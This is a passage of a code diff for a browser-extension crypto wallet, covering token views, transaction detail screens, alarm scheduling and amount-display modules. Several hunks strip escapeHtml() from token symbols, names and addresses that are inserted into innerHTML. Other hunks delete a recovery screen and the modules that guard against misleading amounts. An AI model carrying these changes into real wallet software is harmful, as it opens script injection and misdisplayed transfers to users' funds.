const net = await onChainSwitch(newId);
|
||||
$("settings-rpc").value = state.rpcUrl;
|
||||
$("settings-blockscout").value = state.blockscoutUrl;
|
||||
showFlash("Switched to " + net.name + ".");
|
||||
});
|
||||
if (networkSelect) {
|
||||
networkSelect.addEventListener("change", async () => {
|
||||
const newId = networkSelect.value;
|
||||
const net = await onChainSwitch(newId);
|
||||
$("settings-rpc").value = state.rpcUrl;
|
||||
$("settings-blockscout").value = state.blockscoutUrl;
|
||||
showFlash("Switched to " + net.name + ".");
|
||||
});
|
||||
}
|
||||
|
||||
$("settings-show-zero-balances").checked = state.showZeroBalanceTokens;
|
||||
$("settings-show-zero-balances").addEventListener("change", async () => {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
|
||||
const { $, showView, showFlash, goBack } = require("./helpers");
|
||||
const { getTopTokens } = require("../../shared/tokenList");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { lookupTokenInfo } = require("../../shared/balances");
|
||||
@@ -26,11 +26,11 @@ function renderTop10() {
|
||||
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
|
||||
return (
|
||||
`<button class="settings-addtoken-quick ${cls}"` +
|
||||
` data-address="${escapeHtml(t.address)}"` +
|
||||
` data-symbol="${escapeHtml(t.symbol)}"` +
|
||||
` data-decimals="${escapeHtml(t.decimals)}"` +
|
||||
` data-name="${escapeHtml(t.name || "")}"` +
|
||||
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
|
||||
` data-address="${t.address}"` +
|
||||
` data-symbol="${t.symbol}"` +
|
||||
` data-decimals="${t.decimals}"` +
|
||||
` data-name="${(t.name || "").replace(/"/g, """)}"` +
|
||||
`${tracked ? " disabled" : ""}>${t.symbol}</button>`
|
||||
);
|
||||
})
|
||||
.join("");
|
||||
@@ -62,11 +62,11 @@ function renderDropdown() {
|
||||
const tracked = isTracked(t.address);
|
||||
const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
|
||||
html +=
|
||||
`<option value="${escapeHtml(t.address)}"` +
|
||||
` data-symbol="${escapeHtml(t.symbol)}"` +
|
||||
` data-decimals="${escapeHtml(t.decimals)}"` +
|
||||
` data-name="${escapeHtml(t.name || "")}"` +
|
||||
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
|
||||
`<option value="${t.address}"` +
|
||||
` data-symbol="${t.symbol}"` +
|
||||
` data-decimals="${t.decimals}"` +
|
||||
` data-name="${(t.name || "").replace(/"/g, """)}"` +
|
||||
`${tracked ? " disabled" : ""}>${label}</option>`;
|
||||
}
|
||||
sel.innerHTML = html;
|
||||
}
|
||||
@@ -133,11 +133,7 @@ function init(_ctx) {
|
||||
infoEl.style.visibility = "visible";
|
||||
log.debugf("Looking up token contract", addr);
|
||||
try {
|
||||
const info = await lookupTokenInfo(
|
||||
addr,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
const info = await lookupTokenInfo(addr, state.rpcUrl);
|
||||
log.infof("Adding token", info.symbol, addr);
|
||||
state.trackedTokens.push({
|
||||
address: addr,
|
||||
|
||||
@@ -1,197 +0,0 @@
|
||||
// The screen the popup shows when it cannot read the stored profile.
|
||||
//
|
||||
// Everything else in the popup assumes a loaded profile: showView() reads and
|
||||
// writes the state singleton, every view renders from it, and the Settings
|
||||
// gear leads to a screen that does both. None of that is available here — by
|
||||
// the time this runs, loadState() has REFUSED, deliberately, and reading the
|
||||
// singleton throws (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||
//
|
||||
// So this module talks to the DOM directly and touches no state at all. It is
|
||||
// the one screen that must work when nothing else can, which is also why it
|
||||
// takes no ctx and needs no init(): whatever the rest of the popup did or did
|
||||
// not manage to wire up, this shows.
|
||||
//
|
||||
// Two controls, and both are required. An export with no reset leaves the user
|
||||
// looking at their broken profile with no way to use the wallet again; a reset
|
||||
// with no export destroys the only copy of a record that may hold key material
|
||||
// a later build could read. So the export is offered first, in the page where
|
||||
// it cannot fail, and the reset is behind a typed confirmation.
|
||||
|
||||
// $ and VIEWS only: nothing else in helpers is safe here, since showView() and
|
||||
// everything under it read the state singleton. $ is taken from there rather
|
||||
// than written again locally so that tests/popupElementIds.test.js sees these
|
||||
// lookups and holds every id below against the markup.
|
||||
const { $, VIEWS } = require("./helpers");
|
||||
const { storageGet, storageRemove } = require("../../shared/browserApi");
|
||||
const { log } = require("../../shared/log");
|
||||
|
||||
// Typed in full before anything is erased, in the same spirit as the wallet
|
||||
// name on DeleteWalletLostPassword: this button destroys key material and
|
||||
// there is no password in front of it, because there is no profile to check a
|
||||
// password against. Compared case-insensitively — the phrase is the barrier,
|
||||
// not the shift key.
|
||||
const RESET_PHRASE = "ERASE MY WALLET";
|
||||
|
||||
let wired = false;
|
||||
|
||||
function setFlash(message) {
|
||||
const node = $("state-recovery-flash");
|
||||
node.textContent = message;
|
||||
node.style.visibility = message ? "visible" : "hidden";
|
||||
}
|
||||
|
||||
// The stored record exactly as storage hands it back, however malformed, with
|
||||
// no normalization, no defaulting and no repair on it: this is evidence, and
|
||||
// the point of the export is that a later build (or a human) sees what is
|
||||
// actually there. It is not the raw bytes — storage deserializes, and
|
||||
// exportRecord() re-serializes with JSON.stringify — so a value JSON cannot
|
||||
// represent is the one thing that does not survive the trip. See there.
|
||||
async function rawRecord() {
|
||||
const result = await storageGet("autistmask");
|
||||
return result.autistmask;
|
||||
}
|
||||
|
||||
// Best effort, and never the only route. A download from an extension popup
|
||||
// depends on the browser, the popup staying open long enough, and the
|
||||
// extension's content security policy; the textarea below depends on none of
|
||||
// those, and is filled first.
|
||||
function offerDownload(text) {
|
||||
try {
|
||||
if (
|
||||
typeof Blob !== "function" ||
|
||||
typeof URL === "undefined" ||
|
||||
typeof URL.createObjectURL !== "function"
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
const url = URL.createObjectURL(
|
||||
new Blob([text], { type: "application/json" }),
|
||||
);
|
||||
const link = document.createElement("a");
|
||||
link.href = url;
|
||||
link.download = "autistmask-saved-data.json";
|
||||
link.click();
|
||||
// Revoked in a later task, not in this one: the download is started
|
||||
// from the click and revoking the URL in the same turn can cancel it
|
||||
// before it has been read. If the popup closes first the URL dies with
|
||||
// the document anyway.
|
||||
if (typeof URL.revokeObjectURL === "function") {
|
||||
setTimeout(() => URL.revokeObjectURL(url), 0);
|
||||
}
|
||||
return true;
|
||||
} catch (e) {
|
||||
log.errorf("state recovery: download failed:", e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Residual, stated rather than left to be discovered: structured-clone storage
|
||||
// holds values JSON does not have, and no build here writes one, but the export
|
||||
// is a funds-recovery path and what it cannot carry has to be written down.
|
||||
//
|
||||
// Loud: JSON.stringify THROWS on a reference cycle or a BigInt. That lands in
|
||||
// the catch below, so the export fails entirely and erase is the only control
|
||||
// left on the screen.
|
||||
//
|
||||
// Silent, and the worse of the two, because the box then looks complete:
|
||||
// a Date becomes its ISO string, a Map or a Set becomes {}, a property whose
|
||||
// value is undefined is dropped from the output entirely, and NaN and
|
||||
// ±Infinity become null. Nothing here can serialize any of it faithfully;
|
||||
// recovering such a record needs the browser's own storage inspector.
|
||||
async function exportRecord() {
|
||||
let text;
|
||||
try {
|
||||
const record = await rawRecord();
|
||||
text = JSON.stringify(record === undefined ? null : record, null, 2);
|
||||
} catch (e) {
|
||||
log.errorf("state recovery: export failed:", e);
|
||||
setFlash(
|
||||
"The saved data could not be read out of storage. Nothing has" +
|
||||
" been changed.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
// JSON.stringify answers undefined for a value it cannot represent, and
|
||||
// an empty box would read as "there was nothing there".
|
||||
if (typeof text !== "string") text = String(text);
|
||||
|
||||
const box = $("state-recovery-blob");
|
||||
box.value = text;
|
||||
box.classList.remove("hidden");
|
||||
const downloaded = offerDownload(text);
|
||||
setFlash(
|
||||
downloaded
|
||||
? "Saved data downloaded, and shown below. Keep a copy before" +
|
||||
" erasing anything."
|
||||
: "Saved data shown below. Copy it and keep it before erasing" +
|
||||
" anything.",
|
||||
);
|
||||
}
|
||||
|
||||
async function resetProfile() {
|
||||
const typed = $("state-recovery-reset-input").value || "";
|
||||
if (typed.trim().toUpperCase() !== RESET_PHRASE) {
|
||||
setFlash("Type " + RESET_PHRASE + " to confirm. Nothing was erased.");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await storageRemove("autistmask");
|
||||
} catch (e) {
|
||||
log.errorf("state recovery: reset failed:", e);
|
||||
setFlash("The saved data could not be erased. Nothing was changed.");
|
||||
return;
|
||||
}
|
||||
setFlash("Saved data erased. AutistMask is starting fresh.");
|
||||
// Back to a first run, which is what the wallet now is. A popup that
|
||||
// cannot reload says so rather than sitting on a screen describing a
|
||||
// profile that no longer exists.
|
||||
if (
|
||||
typeof window !== "undefined" &&
|
||||
window.location &&
|
||||
typeof window.location.reload === "function"
|
||||
) {
|
||||
window.location.reload();
|
||||
return;
|
||||
}
|
||||
setFlash("Saved data erased. Close and reopen AutistMask.");
|
||||
}
|
||||
|
||||
function wire() {
|
||||
if (wired) return;
|
||||
wired = true;
|
||||
$("btn-state-recovery-export").addEventListener("click", exportRecord);
|
||||
$("btn-state-recovery-reset").addEventListener("click", resetProfile);
|
||||
}
|
||||
|
||||
/**
|
||||
* Show the recovery screen, naming `problem`.
|
||||
*
|
||||
* @param {Error|string} problem the StateUnusableError from the read that
|
||||
* refused, or its sentence.
|
||||
*/
|
||||
function show(problem) {
|
||||
const sentence =
|
||||
(problem && (problem.problem || problem.message)) || String(problem);
|
||||
|
||||
// Not showView(): that reads and writes the singleton this screen exists
|
||||
// because nothing could load.
|
||||
for (const view of VIEWS) {
|
||||
const node = document.getElementById("view-" + view);
|
||||
if (node) node.classList.add("hidden");
|
||||
}
|
||||
// The one global control, and it leads to a screen that renders from the
|
||||
// profile. There is nowhere to go from here but out.
|
||||
const gear = $("btn-settings");
|
||||
if (gear) gear.classList.add("hidden");
|
||||
|
||||
$("state-recovery-problem").textContent = sentence;
|
||||
$("state-recovery-blob").value = "";
|
||||
$("state-recovery-blob").classList.add("hidden");
|
||||
$("state-recovery-reset-input").value = "";
|
||||
setFlash("");
|
||||
wire();
|
||||
$("view-state-recovery").classList.remove("hidden");
|
||||
log.errorf("state is unusable, showing the recovery screen:", sentence);
|
||||
}
|
||||
|
||||
module.exports = { show, RESET_PHRASE };
|
||||
@@ -15,16 +15,16 @@ const {
|
||||
attachCopyHandlers,
|
||||
copyableHtml,
|
||||
etherscanLinkHtml,
|
||||
explorerUrl,
|
||||
displaySymbol,
|
||||
goBack,
|
||||
} = require("./helpers");
|
||||
const { state } = require("../../shared/state");
|
||||
const { state, currentNetwork } = require("../../shared/state");
|
||||
const { formatEther, formatUnits } = require("ethers");
|
||||
const makeBlockie = require("ethereum-blockies-base64");
|
||||
const { log, debugFetch } = require("../../shared/log");
|
||||
const { decodeCalldata } = require("./approval");
|
||||
|
||||
let ctx;
|
||||
|
||||
/**
|
||||
* Determine a human-readable transaction type string from tx fields.
|
||||
*/
|
||||
@@ -46,7 +46,7 @@ function getTransactionType(tx) {
|
||||
|
||||
function blockieHtml(address) {
|
||||
const src = makeBlockie(address);
|
||||
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||
}
|
||||
|
||||
function txAddressHtml(address, ensName, title) {
|
||||
@@ -58,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
|
||||
}
|
||||
|
||||
function txHashHtml(hash) {
|
||||
const link = explorerUrl("tx", hash);
|
||||
const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
|
||||
const extLink = etherscanLinkHtml(link);
|
||||
return copyableHtml(hash, "break-all") + extLink;
|
||||
}
|
||||
@@ -103,10 +103,9 @@ function render() {
|
||||
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
|
||||
|
||||
// Exact amount (full precision, copyable)
|
||||
const detailSym = displaySymbol(tx.symbol);
|
||||
const exactStr = tx.exactValue
|
||||
? tx.exactValue + " " + detailSym
|
||||
: tx.directionLabel + " " + detailSym;
|
||||
? tx.exactValue + " " + tx.symbol
|
||||
: tx.directionLabel + " " + tx.symbol;
|
||||
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
|
||||
|
||||
// Native quantity (raw integer, copyable)
|
||||
@@ -136,7 +135,7 @@ function render() {
|
||||
if (tokenContractSection && tokenContractEl) {
|
||||
if (tx.contractAddress) {
|
||||
const dot = addressDotHtml(tx.contractAddress);
|
||||
const link = explorerUrl("token", tx.contractAddress);
|
||||
const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
|
||||
tokenContractEl.innerHTML =
|
||||
`<div class="flex items-center">${dot}` +
|
||||
copyableHtml(tx.contractAddress, "break-all") +
|
||||
@@ -167,7 +166,7 @@ function render() {
|
||||
if (el) el.classList.add("hidden");
|
||||
}
|
||||
|
||||
loadFullTxDetails(tx.hash, tx.to);
|
||||
loadFullTxDetails(tx.hash, tx.to, tx.isContractCall);
|
||||
|
||||
const isoStr = isoDate(tx.timestamp);
|
||||
$("tx-detail-time").innerHTML =
|
||||
@@ -188,7 +187,7 @@ function showDetailField(sectionId, contentId, value) {
|
||||
function populateOnChainDetails(txData) {
|
||||
// Block number
|
||||
if (txData.block_number != null) {
|
||||
const blockLink = explorerUrl("block", String(txData.block_number));
|
||||
const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
|
||||
const blockSection = $("tx-detail-block-section");
|
||||
const blockEl = $("tx-detail-block");
|
||||
if (blockSection && blockEl) {
|
||||
@@ -275,7 +274,7 @@ function populateOnChainDetails(txData) {
|
||||
}
|
||||
}
|
||||
|
||||
async function loadFullTxDetails(txHash, toAddress) {
|
||||
async function loadFullTxDetails(txHash, toAddress, isContractCall) {
|
||||
const section = $("tx-detail-calldata-section");
|
||||
const actionEl = $("tx-detail-calldata-action");
|
||||
const detailsEl = $("tx-detail-calldata-details");
|
||||
@@ -312,7 +311,7 @@ async function loadFullTxDetails(txHash, toAddress) {
|
||||
// Token entry: show symbol on its own line, then address via shared renderer
|
||||
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
|
||||
if (tokenSymbol) {
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
|
||||
detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
|
||||
}
|
||||
detailsHtml += renderAddressHtml(d.address);
|
||||
} else if (d.address) {
|
||||
@@ -350,9 +349,8 @@ async function loadFullTxDetails(txHash, toAddress) {
|
||||
}
|
||||
}
|
||||
|
||||
// The ctx this view is initialized with is unused: this module is the leaf of
|
||||
// the navigation, and the other views reach it through their own ctx.
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
$("btn-tx-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
});
|
||||
|
||||
@@ -9,12 +9,10 @@ const {
|
||||
attachCopyHandlers,
|
||||
copyableHtml,
|
||||
etherscanLinkHtml,
|
||||
explorerUrl,
|
||||
displaySymbol,
|
||||
clearViewStack,
|
||||
} = require("./helpers");
|
||||
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
|
||||
const { state } = require("../../shared/state");
|
||||
const { state, saveState, currentNetwork } = require("../../shared/state");
|
||||
const { getProvider } = require("../../shared/balances");
|
||||
const { log } = require("../../shared/log");
|
||||
|
||||
@@ -64,13 +62,13 @@ function toAddressHtml(address) {
|
||||
}
|
||||
|
||||
function txHashHtml(hash) {
|
||||
const link = explorerUrl("tx", hash);
|
||||
const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
|
||||
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
|
||||
}
|
||||
|
||||
function blockNumberHtml(blockNumber) {
|
||||
const num = String(blockNumber);
|
||||
const link = explorerUrl("block", num);
|
||||
const link = `${currentNetwork().explorerUrl}/block/${num}`;
|
||||
return copyableHtml(num) + etherscanLinkHtml(link);
|
||||
}
|
||||
|
||||
@@ -82,10 +80,7 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
|
||||
endWait();
|
||||
const id = waitId;
|
||||
|
||||
const symbol =
|
||||
txInfo.token === "ETH"
|
||||
? "ETH"
|
||||
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
||||
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
|
||||
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
|
||||
$("wait-tx-hash").innerHTML = txHashHtml(txHash);
|
||||
@@ -113,7 +108,7 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
|
||||
renderElapsed();
|
||||
}, 1000);
|
||||
|
||||
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||
const provider = getProvider(state.rpcUrl);
|
||||
let consecutiveFailures = 0;
|
||||
|
||||
async function poll() {
|
||||
@@ -216,10 +211,7 @@ function restoreWait() {
|
||||
function showSuccess(txInfo, txHash, blockNumber) {
|
||||
endWait();
|
||||
|
||||
const symbol =
|
||||
txInfo.token === "ETH"
|
||||
? "ETH"
|
||||
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
||||
state.viewData = {
|
||||
amount: txInfo.amount,
|
||||
symbol: symbol,
|
||||
@@ -237,6 +229,10 @@ function tokenLabel(address) {
|
||||
return t ? t.symbol : null;
|
||||
}
|
||||
|
||||
function etherscanTokenLink(address) {
|
||||
return `${currentNetwork().explorerUrl}/token/${address}`;
|
||||
}
|
||||
|
||||
function decodedDetailsHtml(decoded) {
|
||||
if (!decoded || !decoded.details) return "";
|
||||
let html = `<div class="border border-border border-dashed p-2 mb-3">`;
|
||||
@@ -307,10 +303,7 @@ function renderSuccess() {
|
||||
function showError(txInfo, txHash, message) {
|
||||
endWait();
|
||||
|
||||
const symbol =
|
||||
txInfo.token === "ETH"
|
||||
? "ETH"
|
||||
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
||||
state.viewData = {
|
||||
amount: txInfo.amount,
|
||||
symbol: symbol,
|
||||
|
||||
@@ -17,31 +17,23 @@
|
||||
// run finished and the alarm fires one run-duration earlier than that. Every
|
||||
// guard must therefore either be strictly shorter than the period it gates or
|
||||
// be bypassed on the scheduled tick — see backgroundRefresh() in
|
||||
// src/background/index.js.
|
||||
|
||||
const { alarmsApi } = require("./browserApi");
|
||||
// src/background/index.js and updatePhishingList() in shared/phishingDomains.js.
|
||||
|
||||
const BALANCE_REFRESH_ALARM = "autistmask-balance-refresh";
|
||||
|
||||
// Alarms this extension used to create and no longer has a handler for. A
|
||||
// browser keeps an alarm until something clears it, so a job that is deleted
|
||||
// from the code goes on waking the service worker on its old schedule forever,
|
||||
// on every install that ever ran the version which created it. Removing the job
|
||||
// means removing the alarm, so retired names are listed here and cleared on
|
||||
// every start until the installs that carry them are long gone.
|
||||
const OBSOLETE_ALARMS = [
|
||||
// The 24-hour phishing blocklist refresh, retired when the runtime fetch
|
||||
// was removed and the list became purely build-time vendored.
|
||||
"autistmask-phishing-refresh",
|
||||
];
|
||||
const PHISHING_REFRESH_ALARM = "autistmask-phishing-refresh";
|
||||
|
||||
const MIN_ALARM_PERIOD_MINUTES = 1;
|
||||
const BALANCE_REFRESH_PERIOD_MINUTES = 1;
|
||||
const PHISHING_REFRESH_PERIOD_MINUTES = 24 * 60;
|
||||
|
||||
// alarmsApi() resolves on use rather than at module load: the worker is torn
|
||||
// Resolved on use rather than captured at module load: the worker is torn
|
||||
// down and re-evaluated repeatedly, and tests install a stub after requiring
|
||||
// this module. It returns null where the API is absent, which is why every
|
||||
// entry point below degrades instead of throwing.
|
||||
// the module.
|
||||
function alarmsApi() {
|
||||
if (typeof browser !== "undefined" && browser.alarms) return browser.alarms;
|
||||
if (typeof chrome !== "undefined" && chrome.alarms) return chrome.alarms;
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an alarm unless one with the requested period already exists.
|
||||
@@ -75,34 +67,22 @@ async function ensureAlarm(name, periodInMinutes) {
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear every alarm this extension no longer handles.
|
||||
* Ensure both recurring background jobs are scheduled. Safe to call on every
|
||||
* worker start, on onInstalled and on onStartup.
|
||||
*
|
||||
* @returns {Promise<string[]>} the retired alarms this call actually cleared.
|
||||
*/
|
||||
async function clearObsoleteAlarms() {
|
||||
const api = alarmsApi();
|
||||
if (!api || !api.clear) return [];
|
||||
const cleared = [];
|
||||
for (const name of OBSOLETE_ALARMS) {
|
||||
if (await api.clear(name)) cleared.push(name);
|
||||
}
|
||||
return cleared;
|
||||
}
|
||||
|
||||
/**
|
||||
* Ensure the recurring background jobs are scheduled, and that retired ones are
|
||||
* not. Safe to call on every worker start, on onInstalled and on onStartup.
|
||||
*
|
||||
* @returns {Promise<{balance: boolean, cleared: string[]}>} which alarms this
|
||||
* call had to create, and which retired ones it removed.
|
||||
* @returns {Promise<{balance: boolean, phishing: boolean}>} which alarms this
|
||||
* call had to create.
|
||||
*/
|
||||
async function ensureRecurringAlarms() {
|
||||
const balance = await ensureAlarm(
|
||||
BALANCE_REFRESH_ALARM,
|
||||
BALANCE_REFRESH_PERIOD_MINUTES,
|
||||
);
|
||||
const cleared = await clearObsoleteAlarms();
|
||||
return { balance, cleared };
|
||||
const phishing = await ensureAlarm(
|
||||
PHISHING_REFRESH_ALARM,
|
||||
PHISHING_REFRESH_PERIOD_MINUTES,
|
||||
);
|
||||
return { balance, phishing };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -124,10 +104,10 @@ function registerAlarmHandlers(handlers) {
|
||||
|
||||
module.exports = {
|
||||
BALANCE_REFRESH_ALARM,
|
||||
OBSOLETE_ALARMS,
|
||||
PHISHING_REFRESH_ALARM,
|
||||
MIN_ALARM_PERIOD_MINUTES,
|
||||
BALANCE_REFRESH_PERIOD_MINUTES,
|
||||
clearObsoleteAlarms,
|
||||
PHISHING_REFRESH_PERIOD_MINUTES,
|
||||
ensureAlarm,
|
||||
ensureRecurringAlarms,
|
||||
registerAlarmHandlers,
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
// The 4-decimal amount rule from README.md's Display Consistency section, and
|
||||
// the one exception to it, in one place. Three call sites had grown their own
|
||||
// copy of the truncation — the history and balance lists
|
||||
// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
|
||||
// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
|
||||
// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
|
||||
// two showing a different number for the same value.
|
||||
//
|
||||
// The two functions below are the two policies, not two implementations of
|
||||
// one: summary lists truncate, and the screens that state what is being
|
||||
// authorized truncate with a floor. Keeping them adjacent is the point, so a
|
||||
// change to the rule cannot reach one screen and miss another.
|
||||
|
||||
// Truncate to exactly four decimal places. Truncation, never rounding: an
|
||||
// amount must never be displayed as larger than it is, so 0.99999 stays
|
||||
// 0.9999.
|
||||
function truncateAmount(val) {
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return val + ".0000";
|
||||
return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
|
||||
}
|
||||
|
||||
// The same rule, plus the invariant the approval and confirmation screens
|
||||
// hold: a nonzero amount never renders as zero. Truncating to four decimals
|
||||
// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
|
||||
// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
|
||||
// as "nothing is being moved" on the screen whose whole job is to say what is
|
||||
// being authorized.
|
||||
//
|
||||
// When the truncated string carries no significant digit and the value does,
|
||||
// the amount is extended to its first significant digit instead. It stays in
|
||||
// token units, the same unit as the symbol printed beside it. A genuine zero
|
||||
// still renders 0.0000, and anything at or above the floor is untouched.
|
||||
function truncateAmountNeverZero(val) {
|
||||
const truncated = truncateAmount(val);
|
||||
// Tests the whole truncated string, integer part included: 1.00005 has a
|
||||
// significant digit already and stays 1.0000.
|
||||
if (/[1-9]/.test(truncated)) return truncated;
|
||||
const parts = val.split(".");
|
||||
if (parts.length === 1) return truncated;
|
||||
const sig = parts[1].search(/[1-9]/);
|
||||
if (sig === -1) return truncated;
|
||||
return parts[0] + "." + parts[1].slice(0, sig + 1);
|
||||
}
|
||||
|
||||
module.exports = { truncateAmount, truncateAmountNeverZero };
|
||||
@@ -1,88 +0,0 @@
|
||||
// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
|
||||
// to display when there is no such scale.
|
||||
//
|
||||
// The approval screen decodes `transfer` and `approve` calldata into a
|
||||
// quantity the user confirms against. That quantity is a base-unit integer,
|
||||
// and turning it into a number a person can read needs the token's decimals.
|
||||
// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
|
||||
// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
|
||||
// default of 18 it reads `0.0000`, and a user who reads zero signs.
|
||||
//
|
||||
// So a scale is either found or the amount is not formatted. Decimals are
|
||||
// looked for in the bundled token list, then in the tokens the user tracks,
|
||||
// then in what the block explorer reported for the contract; where none of
|
||||
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
|
||||
// unknown scale stated, and no formatUnits() call is reached at all.
|
||||
//
|
||||
// The Uniswap decoder's Amount and Min. received lines land on this same
|
||||
// screen and use these same two functions, so there is one way of resolving a
|
||||
// scale and one way of saying there is none.
|
||||
//
|
||||
// This is the display counterpart to transferAmount.js, which takes the same
|
||||
// stance on the wallet's own send path: an amount whose scale is unknown or
|
||||
// disputed is refused rather than guessed at.
|
||||
|
||||
// Solidity's decimals() is a uint8, and every source here is ultimately
|
||||
// reporting that call's result. toDecimals() is that check, shared with the
|
||||
// send path rather than copied: the bundled list stores numbers, the
|
||||
// explorer's copy arrives as a string, and a token the user added by hand
|
||||
// carries whatever lookupTokenInfo() got back, so the accepted types are
|
||||
// enumerated rather than coerced.
|
||||
const { toDecimals } = require("./transferAmount");
|
||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||
|
||||
// Every decimals the explorer reported for this contract, across all the
|
||||
// addresses whose balances have been fetched. They describe one contract, so
|
||||
// they should agree; a set that does not agree is a scale in dispute, and this
|
||||
// screen has no way to tell which member is the true one.
|
||||
function explorerDecimals(lower, wallets) {
|
||||
let found = null;
|
||||
for (const wallet of wallets || []) {
|
||||
for (const addr of wallet.addresses || []) {
|
||||
for (const tb of addr.tokenBalances || []) {
|
||||
if ((tb.address || "").toLowerCase() !== lower) continue;
|
||||
const d = toDecimals(tb.decimals);
|
||||
if (d === null) continue;
|
||||
if (found !== null && found !== d) return null;
|
||||
found = d;
|
||||
}
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
// The decimals to render a token amount with, or null when nothing knows.
|
||||
// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
|
||||
function resolveTokenDecimals(tokenAddress, sources) {
|
||||
const lower = (tokenAddress || "").toLowerCase();
|
||||
if (!lower) return null;
|
||||
|
||||
const bundled = TOKEN_BY_ADDRESS.get(lower);
|
||||
if (bundled) {
|
||||
const d = toDecimals(bundled.decimals);
|
||||
if (d !== null) return d;
|
||||
}
|
||||
|
||||
const tracked = ((sources && sources.trackedTokens) || []).find(
|
||||
(t) => (t.address || "").toLowerCase() === lower,
|
||||
);
|
||||
if (tracked) {
|
||||
const d = toDecimals(tracked.decimals);
|
||||
if (d !== null) return d;
|
||||
}
|
||||
|
||||
return explorerDecimals(lower, sources && sources.wallets);
|
||||
}
|
||||
|
||||
// What the amount line reads when the scale is unknown. The base units are
|
||||
// exact and the caveat is part of the same string, so the number on the screen
|
||||
// cannot be mistaken for a token quantity, and it can never read as zero for a
|
||||
// transfer that is not zero.
|
||||
function unknownDecimalsAmount(rawAmount) {
|
||||
return String(rawAmount) + " base units (decimals unknown)";
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
resolveTokenDecimals,
|
||||
unknownDecimalsAmount,
|
||||
};
|
||||
@@ -1,213 +0,0 @@
|
||||
// Preparation of the transaction an approval screen displays.
|
||||
//
|
||||
// A dApp's eth_sendTransaction normally fixes only `to`, `value` and `data`.
|
||||
// The nonce, the gas limit and the fees have to be filled in from the network
|
||||
// before anything can be signed, and whoever fills them in decides what the
|
||||
// user is shown. That work used to happen in the popup, after the user had
|
||||
// already approved: the numbers on the approval screen came from the popup and
|
||||
// were compared against nothing, so a compromised popup could display one fee
|
||||
// and sign another, and the ceilings in approvalVerify.js were all that stood
|
||||
// between the user and a fee that hands the validator the balance.
|
||||
//
|
||||
// So it happens here instead, in the background, before the approval window is
|
||||
// opened. The background populates the transaction, shows that object, and
|
||||
// verifies the signed artifact against that same object — the popup is handed
|
||||
// a finished transaction and signs it as given. Every field the user reads is
|
||||
// then a field that is compared.
|
||||
//
|
||||
// The cost is an RPC round trip before the approval window exists. Nothing is
|
||||
// displayed while it is in flight, and a failure — an unreachable node, a
|
||||
// reverting gas estimate, a transaction type this wallet does not sign, a fee
|
||||
// past the ceilings — means no approval and no window at all: the error goes
|
||||
// back to the requesting page, which is where the user's click came from. That
|
||||
// is deliberate. The alternative, opening the window first and populating
|
||||
// behind a spinner, needs a pending approval that exists before it can be
|
||||
// displayed or signed, and a half-initialised approval is exactly the state
|
||||
// the settle interlock in the background exists to keep out of that record.
|
||||
// The failure also lands earlier than it used to rather than later: the same
|
||||
